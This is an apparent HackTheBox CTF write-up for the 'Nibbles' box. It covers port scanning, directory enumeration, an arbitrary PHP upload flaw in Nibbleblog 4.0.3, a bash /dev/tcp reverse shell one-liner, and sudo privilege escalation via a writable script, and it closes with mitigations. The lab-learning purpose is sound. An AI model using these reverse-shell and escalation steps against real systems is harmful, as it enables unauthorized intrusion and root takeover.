
Nibbles
Author: daniboomberger Date: July 23, 2021 Official writeup from the nibbles box on the hackthebox platform [Easy]
Overview
Nibbles is an easy rated box on hackthebox. It has two ports open and runs website, which we look further into after the overview. The exploit used in this box are fairly simple one of them has a rather guessy starting-point, which can frustrate CTF-Players.
Enumeration
First of all we ran the usual nmap
scan against the box. Nmap displays us two common open ports 80
and 22
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -oA nmap/nibbles 10.10.10.75
# Nmap 7.91 scan initiated Fri Jul 23 05:26:42 2021 as: nmap -sC -sV -oA nmap/nibbles 10.10.10.75
Nmap scan report for 10.10.10.75
Host is up (0.040s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 23 05:26:52 2021 -- 1 IP address (1 host up) scanned in 9.66 seconds
On the port 80
we have a website running with a html header that just says Hello World!
. At first seight there isn’t anything interesting on the website but after a look at the source code of the website, there is a rather unusal comment that leads us to a nibbleblog
directory.
1
<b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->
After finding the nibbleblog
we run our beloved directory buster tool gobuster
against the following command http://10.10.10.75/nibbleblog/
. In the gobuster command we specify the url, our wordlist and the file types php
& txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.75/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2021/07/23 06:10:09 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 2986]
/sitemap.php (Status: 200) [Size: 401]
/content (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/feed.php (Status: 200) [Size: 300]
/themes (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/]
/admin (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/plugins (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/install.php (Status: 200) [Size: 78]
/update.php (Status: 200) [Size: 1622]
/README (Status: 200) [Size: 4628]
/languages (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]
/LICENSE.txt (Status: 200) [Size: 35148]
/COPYRIGHT.txt (Status: 200) [Size: 1272]
In the README file we receive the version of the nibbleblog cms framework.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- http://10.10.10.75/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content†writable by Apache/PHP
Optionals requirements
* PHP module - Mcrypt
<-- (daniboomberger added comment) Had more content but usless for writeup-->
Nibbleblog vulnerability
With the information which version is running, we can find an exploit for the same version. After reading the writeup about the arbritary file upload
from the following resource:
- https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html
In the Blog there is described that we can use the My Image
plugin doesn’t check the extension of the uploaded file. The plugin is also activated by default so as long no administrator disabled it it’s open to exploit. For the Exploit there are Credentials needed to login into the frameworks dashboard. Obtaining the credentials wasn’t the funniest part of the box it was just searching through directories and files on the website. In a users.xml file we se a username in plaintext and can assume there should be a password to find, which was a rabbit hole. The password was annoying since it was a guess [or maybe you can say easy password use] but nevertheless the password was nibbles
.
1
2
3
4
5
6
7
8
9
10
11
12
13
# http://10.10.10.75/nibbleblog/content/private/users.xml
# Credentials: admin:nibbles
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>
With the credentials we could login into the admin dashboard of the cms and use our privileges to misuse the arbritary file upload
in the My Image
plugin.
Using the plugin to upload our php shell we can use a programming mistake that wasn’t implemented into the source code for the plugin. There was no check for the extension so anybody with access to the My Image
page could uploaded any sort of file extensions. As we see in the source code the $extension
has the value of the uploaded file of extension, but is never checked before uploading the file on the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if( $plugin->init_db() ) {
// upload files
foreach($_FILES as $field_name=>$file) {
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
$complete = $destination.'/'.$field_name.'.'.$extension;
// Upload the new file and move
if(move_uploaded_file($file["tmp_name"], $complete)) {
// Resize images if requested by the plugin
if(isset($_POST[$field_name.'_resize'])) {
$width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200;
$height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200;
$option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto';
$quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;
$Resize->setImage($complete, $width, $height, $option);
$Resize->saveImage($complete, $quality, true);
}
}
}
unset($_POST['plugin']);
// update fields $plugin->set_fields_db($_POST);
Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']); } }
By accessing ( http://localhost/nibbleblog/content/private/plugins/my_image/image.php )the uploaded file over the provided url you could get remote code execution via php code. You can use php-reverse shell and upload it to the my_image plugin.
With the help of the php code we can get a reverse shell to make it easier to find any privilege escalations. With the following code we get a usable reverse shell.
1
2
3
4
5
6
7
8
9
10
11
# to pass in the php code
$ bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
# In the reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export SHELL=bash
$ export TERM=xterm-256color
$ [CTRL + Z] # Background process
$ stty raw -echo
$ fg # foreground reverse shell process
$ stty rows <ROWS> columns <Columns>
Privilege escalation
The privilege escalation was fairly easy and was the standard PE for [easy] boxes on the hackthebox platform. Running the following code will display a file which was acessable to run as sudo without password. The File was readable and writeable.
1
2
3
4
5
6
7
8
$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
You are able to run any script with the exact name monitor.sh
in the same directory as root or you can unzip the personal.zip file and use the given directories and file to get root shell. To add your own command you can use the following.
1
2
3
$ echo "bash" >> /home/nibbler/personal/stuff/monitor.sh
$ sudo /home/nibbler/personal/stuff/monitor.sh
# root shell
Mitigations
Guessable password
In the nibbleblog vulnerability there is a guessable password needed, so the first mitigation advice is to use “secure” password, which means that they have multiple characters, numbers, alphabet and don’t have anything to do with something personal/guessable.
- bad password:
nibbles
- better password idea:
#RW&9AGpo%da*!Tuu&2pM4
(don’t use this password now just a example)
Nibbleblog “arbritary file upload” 4.0.3
The following arbritary file upload vulnerability was fixed by the lead developer of nibbleblog with an simple if statment as following in the vulnerable code. The if statement just checks if the $extension
variable is jpg, gif or png
and if this isn’t the case it wouldn’t upload the file to the server, which in our case would prevent the arbitary file upload
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if( $plugin->init_db() ) {
// upload files
foreach($_FILES as $field_name=>$file) {
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$destination = PATH_PLUGINS_DB.$plugin->get_dir_name();
$complete = $destination.'/'.$field_name.'.'.$extension;
//Check if the extension is a jpg, gif or png
//Secures our arbitary file upload vulnerability
if( ($extension=='jpg') || ($extension=='gif') || ($extension=='png') )
{
// Upload the new file and move
if(move_uploaded_file($file["tmp_name"], $complete)) {
// Resize images if requested by the plugin
if(isset($_POST[$field_name.'_resize'])) {
$width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200;
$height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200;
$option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto';
$quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;
$Resize->setImage($complete, $width, $height, $option);
$Resize->saveImage($complete, $quality, true);
}
}
}
}
unset($_POST['plugin']);
// update fields $plugin->set_fields_db($_POST);
Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']); } }
Local privilege escalation
This privilege escalation would have been prevented easily with password protection
, that means the user wouldn’t be able to run the script as root without root password. To disable the user running the script without root password you would need to delete the following out of the /etc/sudoers
file.
1
nibbler ALL=(root) NOPASSWD:/home/nibbler/personal/stuff/monitor.sh